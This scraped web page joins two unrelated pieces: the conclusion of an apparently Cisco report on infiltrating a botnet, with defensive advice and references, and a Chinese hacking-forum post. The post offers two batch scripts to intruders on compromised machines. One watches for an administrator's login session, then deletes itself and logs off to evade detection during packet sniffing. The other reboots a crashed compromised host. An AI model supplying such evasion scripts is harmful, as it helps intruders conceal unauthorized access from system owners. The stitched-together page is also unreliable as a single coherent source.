Over the course of the conversations, the botmaster revealed that he could never trust anyone 100 percent of the time and that it was necessary for him to be on guard constantly and follow good computing practices. Other botmasters would act on any opportunity to take over his networks, and according to Google-cache hits, they had tried in the past. However, lack of trust is common among botnet owners, and with good reason. In one instance, the botmaster had used a hijacked account to impersonate a law enforcement official and force another botmaster to abandon a 6,000-node network. The botmaster had to remain alert at all times, his firewall blocking nearly all inbound connections, and surfing the Internet via proxy chains [10] to remain anonymous.

The botmaster recommended a list of best and worst sites that are based around forums. Forums may facilitate the code re-use that is often associated with botnet clients. The botnet community is similar to the open source community, in which more experienced users in the forum help or humiliate new botmasters. According to the botmaster, only 20 percent really understand the code offered through the forums; the rest simply run the code and do their best to follow the help files. He estimated another three to five percent of botmasters write unique code.

Figure 11 shows a conversation in which the botmaster estimates the percentage of unique coders.

Figure 11. Who Writes Code?

Conclusion

Many people, researchers included, wonder why attackers do not pursue legitimate IT or programming jobs. According to the botmaster, the barriers to legitimate work are a criminal record and a lack of professional education; frequently, both factors prevent attackers from gaining regular employment.

Figure 12 shows the conversation regarding barriers to legitimate occupations.

Figure 12. Why not Get a Real Job?

The researcher asked how attackers experience security companies and services, and whether the botmaster felt pressured by the security companies. His response was that “a few companies catch on very quickly but, for the most part, it is business as usual.”

As the botmaster stated, running a botnet was his business. The criminality of running a botnet was simply a by-product of his primary means of employment. The botmaster’s product is a management interface to a multinode network that can be sold to other customers for a profit. Perceiving himself as a small business owner, the botmaster is not concerned with impacting the functionality of a user’s personal computer or with the possibilities of identity theft or data leakage, but instead with generating income.

Anyone with basic computer experience is able to run a botnet. It is not necessary to understand the code, nor is there a need to understand networking. Both traditional and new media organizations frequently report on the need to patch against the latest threat that exploits a recent vulnerability. Readers rarely hear, however, about the kid who lives in their neighborhood who runs a 10,000-node botnet based off of MSN instant message spam. All bots are not created with equal proficiency. Botmasters are implementing cutting-edge evasion techniques to avoid detection and prevent reverse engineering. It is imperative to keep attackers of both types in mind, professionals and script kiddies, when designing a network’s defenses. To effectively combat the bot economy, the cost of doing business must be raised by educating users and following security best practices. Attackers pursue easy money. Maximum gain with minimal effort is the prime motivator for a botmaster. If the time required to compromise machines increases, attackers will move on to easier targets.

Patching is important, but user education is key. A corporation can deploy the latest security measures but remain vulnerable to data theft, hosting spam servers, or worse.  Business users must be educated to comply with safe behavior. If policies are not in place to limit the infiltration on non business communications or if users do not understand the importance of leaving random files unopened, there is little point in administrators patching machines.

Using Cisco IPS alerts, the research team was able to successfully identify and disable a botnet. The IRC traffic on non-standard ports was a clear sign of compromised systems. Without Cisco IPS, the customer would have been blind to the botnet activity and its employees could have had their stored password compromised leading to bank fraud or identify theft. If the customer had been able to run the IPS inline, the compromise would not have occurred. An intrusion detection system also has its place in a network; without the history of previous alerts from a management tool, the remediation for the customer’s system would not have been possible.

References

[1] McMillan, Robert. “DNS Attack Writer a Victim of His Own Creation.” PC World, July 29, 2008. (http://www.pcworld.com/article/149125/dns_attack_writer_a_victim_of_his_own_creation.html)

[2] Invisible Denizen. “Kaminsky’s DNS Issue Accidentally Leaked?” July 21 2008. (http://blog.invisibledenizen.org/2008/07/kaminskys-dns-issue-accidentally-leaked.html)

[3] IDG News Service staff. “DNS Attack Writer a Victim of His Own Creation.” PC World, July 30, 2008. (http://www.pcworld.com/businesscenter/article/149136/dns_attack_writer_a_victim_of_his_own_creation.html)

[4] Moore, H D. “DNS Attacks in the Wild.” Metasploit, July 28, 2008. (http://blog.metasploit.com/2008/07/on-dns-attacks-in-wild-and-journalistic.html)

[5] F-Secure. “Calculating the Size of the Downadup Outbreak.” Weblog: News from the Lab. January 16, 2009. (http://www.f-secure.com/weblog/archives/00001584.html)

[6] Phillip Porras, Hassen Saidi, and Vinod Yegneswaran. “An Analysis of Conficker’s Logic and Rendezvous Points.” SRI International, February 4, 2009. (http://mtc.sri.com/Conficker/)

[7] Phillip Porras, Hassen Saidi, and Vinod Yegneswaran. “An Analysis of Conficker’s Logic and Rendezvous Points.: SRI International, February 4, 2009. (http://mtc.sri.com/Conficker/#appendix-1)

[8] The Tor Project (http://www.torproject.org/)

[9] Federico Biancuzzi. “The Quest for ring 0.” Security Focus, May 10, 2006. (http://www.securityfocus.com/columnists/402)

[10] “Proxy Chains” (http://proxychains.sourceforge.net/)

Acknowledgments

Cisco Security Intelligence Operations

相关文章

• 渗透某大型内网入侵过程
• 域环境下的渗透
• 专业渗透人员在渗透过程中注意事项
• web和数据库分离的渗透思路
• 渗透,目的不单纯
• 当渗透中实时检测管理员的bat

相关文章

• 渗透某大型内网入侵过程
• 域环境下的渗透
• 专业渗透人员在渗透过程中注意事项
• Infiltrating a Botnet
• 渗透,目的不单纯
• 当渗透中实时检测管理员的bat

相关文章

• 渗透某大型内网入侵过程
• 域环境下的渗透
• 专业渗透人员在渗透过程中注意事项
• Infiltrating a Botnet
• web和数据库分离的渗透思路
• 当渗透中实时检测管理员的bat

- -! 来了TOOLS 这么久还没写过东西现在给大家贡献点东西
当你在渗透中挂机嗅探的时候，如果管理员上来发现就不好了所以有了这个bat 的用处
检测管理员上线注销自已的 bat
copy 保存为 xx.bat

@echo off
:check
choice /C YN /T 10 /D Y
quser | find "#16"  && del xx.bat | logoff
goto check


说明一下
#16 每次运行这个 bat 的时候先quser 一下，看当前的会话id 是多少，然后加1 每连接一次就会加1
用户名 会话名 ID 状态 空闲时间 登录时间
administrator rdp-tcp#22 2 运行中 . 2009-4-16 19:24

你要把这个给改成 #23 就可以了 然后下一个连接进来的时候就会注销自已

哪位牛帮忙改一下，判断 如果 比 rdp-tcp#22 大的连接进来的话就注销自已
choice /C YN /T 10 /D Y
/T 10 是 10 秒一检测 这样是为了不太占CPU
by dh
为了渗透的方便，顺便帖上一个很淫的人写的一个 bat 方便大家
嗅探中当机的一点点启示
by chong
很多朋友在嗅探的时候肉猪一不小心就挂了.那个后悔啊.....
当然 你要选择尽量少的服务来嗅.比如你要嗅目标的1433及80.那你嗅其他的就没用罗.
这样会大大的减少当机的可能性.如果看到丢包率超过10%就要注意啦. 赶紧停掉,看看那里没设置好吧.
如果还是不小心挂了呢.
没事.这里为您准备了一个BAT 在开嗅的时候运行它就行了哦.
======start=========

:ping
choice /C YN /T 120 /D Y
ping g.cn
IF ERRORLEVEL   1 GOTO reboot
IF ERRORLEVEL   0 GOTO ping
:reboot
shutdown /r /t 0


======end=========
这里的g.cn你可以设置为网关的IP或你的IP
如果能ping通的话就继续ping 如果不通的话就认为当机了 (当然.你要事先测试下)
那.就重启罗. 或自己写一些语句 像结束cain等.自由发挥

相关文章

• 渗透某大型内网入侵过程
• 搞内网的一个小技巧
• 域环境下的渗透
• 专业渗透人员在渗透过程中注意事项
• 更改windows2003最大连接数
• 让千千静听不再弹出广告
• 手工屏蔽迅雷技巧【禁止上传、广告、迅雷看看15秒广告】
• MySQL导入数据库文件最大限制2048KB的修改解决办法
• wp-postviews和Wp Super Cache有冲突
• 流量过大，不得不启用WP Super Cache